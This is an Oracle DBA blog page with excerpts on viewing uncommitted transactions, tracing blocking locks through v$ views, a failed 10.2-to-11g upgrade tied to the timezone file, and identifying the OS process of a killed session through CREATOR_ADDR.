Miladin Modrakovic’s Blog: Oraclue

Let say someone have an update,insert or delete statement that runs but has not been commited yet.So question is how to show uncommitted transactions ?

First some background about transaction management in Oracle.

A transaction is a logical unit of work that contains one or more SQL statements.

A transaction ends when any of the following occurs:

A user issues a COMMIT or ROLLBACK statement without a SAVEPOINT clause.
A user runs a DDL statement such as CREATE, DROP, RENAME, or ALTER. If the current transaction contains any DML statements,
Oracle first commits the transaction, and then runs and commits the DDL statement as a new, single statement transaction.
A user disconnects from Oracle. The current transaction is committed.
A user process terminates abnormally. The current transaction is rolled back.

When a transaction is committed, the following occurs:

1  The internal transaction table for the associated undo tablespace that the transaction has committed,
and the corresponding unique system change number (SCN) of the transaction is assigned and recorded in the table.

This can be seen using v$transaction view.To get more  info  I normally join v$transaction and v$session views.

e.g.

select t.start_time,s.sid,s.serial#,s.username,s.status
from v$transaction t, v$session s
where s.saddr = t.ses_addr

2. The log writer process (LGWR) writes redo log entries in the SGA’s redo log buffers to the redo log file.
It also writes the transaction’s SCN to the redo log file. (more…)

In my previous blogs I have already wrote script for   monitoring blocking locks in real time.

http://oraclue.com/2009/05/18/procedure-to-kill-blocking-session-in-rac-11g/

But what if I am accessing database next day or week later and trying to find out who caused blocking lock? I know there are trace files etc but this time I will use v$views.

Let me start with familiar  scenario to produce blocking lock (  I have use same code for deadlock scenario in previous blogs):

Session 1:

create table test(a int primary key);

insert into test select rownum from dba_tables where rownum <9;
commit;
update test set a=9 where a=1;
update test set a=10 where a=2;

Table created.
8 rows created.
Commit complete.
1 row updated.
1 row updated.

Session 2:

update test set a=11 where a=3;

update test set a=12 where a=4;
1 row updated.
1 row updated.

again session 1:

update test set a=25 where a=8;
update test set a=13 where a=3;

For mutex related waits, v$session.blocking_session is not populated in 10.2.

Use Metalink Note 786507.1

v$session.blocking_session is populated in 11g .

My  simple script  looks like: (more…)

I was doing  manual upgrade from version 10.2.0.3 to 11.1.0.7 .Really  did not expect any big issues since I did it many times.So after doing all pre-upgrade steps ( or I taught I did all of them)

I started database in upgrade mode and fired catupgrd.sql :
SQL> startup upgrade
ORACLE instance started.

Total System Global Area 6413680640 bytes
Fixed Size                  2160112 bytes
Variable Size            1946159632 bytes
Database Buffers         4429185024 bytes
Redo Buffers               36175872 bytes
Database mounted.
Database opened.
SQL> @catupgrd.sql
DOC>#######################################################################
DOC>#######################################################################
DOC>
DOC>   The first time this script is run, there should be no error messages
DOC>   generated; all normal upgrade error messages are suppressed.
DOC>
DOC>   If this script is being re-run after correcting some problem, then
DOC>   expect the following error which is not automatically suppressed:
DOC>
DOC>   ORA-00001: unique constraint (<constraint_name>) violated

DOC>#
   FROM registry$database
        *
ERROR at line 2:
ORA-00942: table or view does not exist

Upgrade failed! Since I hit same error in the past I knew where is the problem and expected to fix it quickly.

This  error is related to timezone file  which must be version 4 for Oracle version 11g.If timezone is not version 4 than patch needs to be applied.

Query to check timezone file  is:

SQL> select * from v$timezone_file;

FILENAME        VERSION
———— ———-
timezlrg.dat          4

so I pointed database to old oracle home and started it:
-sh-3.2$ sqlplus / as sysdba

SQL*Plus: Release 10.2.0.3.0 – Production on Tue Aug 11 11:12:41 2009

Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.

Connected to an idle instance.

SQL> startup
ORACLE instance started.

Total System Global Area 6442450944 bytes
Fixed Size                  2082376 bytes
Variable Size            1577060792 bytes
Database Buffers         4848615424 bytes
Redo Buffers               14692352 bytes
ORA-00201: control file version 11.0.0.0.0 incompatible with ORACLE version
10.2.0.3.0
ORA-00202: control file:
‘/oracle/demo/control/copy_1/control01.ctl’   (more…)

Many times I  killed session with alter system kill session command ( or Toad )
and then session would just hang without dying.Then when I tried to find which OS process is related to killed session I could not identify it directly by using v$session and v$process view and joining them using addr column.According to Oracle this is expected.Here is explanation:

When a session is killed, the session state object(and all the child state objects under the session state object) move out from under the original parent process state object, and are placed under the pseudo process state object (which is expected, given the parent/child process mechanism on Unix). PMON will clean up all the state objects found under the pseudo process state object. That explains why PADDR changes in V$SESSION when a session is killed. New PADDR you are seeing in v$SESSION is the address of the pseudo process state object. This shows up in system state under PSEUDO PROCESS for group DEFAULT: V$PROCESS still maintains the record of the original parent process.

So to finally get rid of that session I had to use different workarounds.One of the workaround was to eliminate PSEUDO processes.

select spid, program
from v$process where program != ‘PSEUDO’
and addr not in
(select paddr from v$session);  and of course avoid killing background processes

select spid, program from v$process
where program!= ‘PSEUDO’
and addr not in (select paddr from v$session)
and addr not in (select paddr from v$bgprocess);

Thanks to 11g  there are two new columns in v$session view :

CREATOR_ADDR - state object address of creating process
CREATOR_SERIAL# - serial number of creating process

CREATOR_ADDR is the column that can be joined with the PADDR column in V$PROCESS to uniquely identify
the killed process corresponding to the former session.

So new query would look like:

select * from v$process where addr=(select creator_addr from v$session where sid=< sid used in alter system kill session command >);

In addition to these columns there are views

V$DETACHED_SESSION

V$PROCESS_GROUP

which can help in resolving this issue.